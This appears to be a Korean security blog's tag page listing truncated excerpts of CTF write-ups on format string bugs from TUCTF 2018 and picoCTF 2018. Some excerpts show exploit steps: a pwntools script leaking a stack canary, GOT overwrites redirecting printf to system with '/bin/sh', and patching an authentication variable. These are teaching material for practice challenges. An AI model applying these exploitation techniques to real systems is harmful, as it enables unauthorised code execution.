일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- FSB
- toddler
- picoCTF
- Leak
- shellcode
- Rookiss
- BOF
- Bug
- Bottle
- Reverse
- shellcraft
- CTF
- anti
- rev
- pico
- PMA
- practicalmalwareanalysis
- writeup
- ASM
- TUCTF
- string
- Read
- pwn
- pwnable
- Toddler's Bottle
- format
- CANARY
- 2018
- reversing
- pwnable.kr
- Today
- Total
목록FSB (6)
제리의 블로그
TUCTF 2018 PWN Timber 요약이번 문제에는 모든 함수에 canary 가 존재한다. 이름 입력하는 부분에서 포맷스트링버그(FSB)가 있다. 포맷스트링으로 canary 를 leak 할 수 있다. 알아낸 canary 로 덮고 RET 를 쉘을 주는 date() 라는 사용자 정의 함수로 덮어주면 된다. from pwn import * e = ELF('./timber') r = e.process() r.recvuntil(': ') # canary leak. FSB r.sendline('%20$p') r.recvuntil(' ') canary = int(r.recvline(), 16) log.success(hex(canary)) r.recvuntil('? ') r.sendline('s') # Super..
TUCTF 2018 PWN ehh Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled $ file ./ehh ./ehh: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d50965fb2cafc7eb26ecbce94385e870a05d02eb, not stripped $ ./ehh >Input interesting text here< 0x5664c028 ease ease..
echo back - Points: 500 - (Solves: 206) 요약본 Writeup 은 포맷 스트링(FSB)를 다룹니다. 문제에서 바이너리와 접속정보가 주어집니다.소스 코드가 없기 때문에 바이너리를 분석해야 합니다. 바이너리엔 FSB 취약점이 있었고system() 함수가 사용되고 있었습니다. 사용자 정의 함수 vuln() 함수는read(0, buf, 0x7f);printf(buf);puts("\n");위와 같은 코드로 구성되어 있었습니다. FSB 를 이용하여GOT Overwrite 를 합니다.puts@GOT 를 0x080485E1 로 덮어서 loop 를 만들어주고printf@GOT 를 system@plt 로 만들어준 다음 변수 buf 에 "/bin/sh" 를 넣으면printf 함수가 system..
authenticate - Points: 350 - (Solves: 462) 요약본 Writeup 은 Format String Bug (FSB) 를 다룹니다. Description 을 보면바이너리와 소스코드를 제공합니다. 취약점은 소스코드에서 55번째 줄에서FSB 취약점이 있고플래그는 23번째 줄의 read_flag() 함수에서 출력해주고 있다. 플래그를 보기 위해서는0(거짓)으로 초기화되어있는 전역변수 authenticated 를1(참)로 변조해야만 합니다. Description Can you authenticate to this service and get the flag? Connect with nc 2018shell2.picoctf.com 52918. Source. Source #include #..
echooo - Points: 300 - (Solves: 816)요약본 Writeup 은 Format String Bug (FSB) 를 다룹니다. Description 을 보면소스코드와 바이너리가 제공됩니다. 소스코드의 37번째 줄에서 FSB 취약점이 있습니다.printf 에 넘겨지는 인자들이 스택을 통해 들어간다는 것을 통해스택의 값을 leak 할 수 있는 취약점입니다. 지역변수 flag 를 알아내야 하는데그 주소를 가리키고 있는 flag_ptr 가 존재한다는 것을 소스코드에서 알 수 있습니다.디버깅을 통해 몇번째에 있는지 확인해보니8번째라는 것을 알아냈습니다. printf 에 8번째 값을 넘기면서 문자열 출력하도록 하면 플래그가 나옵니다. Description This program prints an..
#FSB, #GOT Overwrite목차DescriptionAnalysisExploit codeDescriptionconsole config-console.c:#include #include #include #include #include #include FILE *log_file; void append_command(char type, char *data) { fprintf(log_file, "%c %s\n", type, data); } void set_login_message(char *message) { if (!message) { printf("No message chosen\n"); exit(1); } printf("Login message set!\n%s\n", message); append_..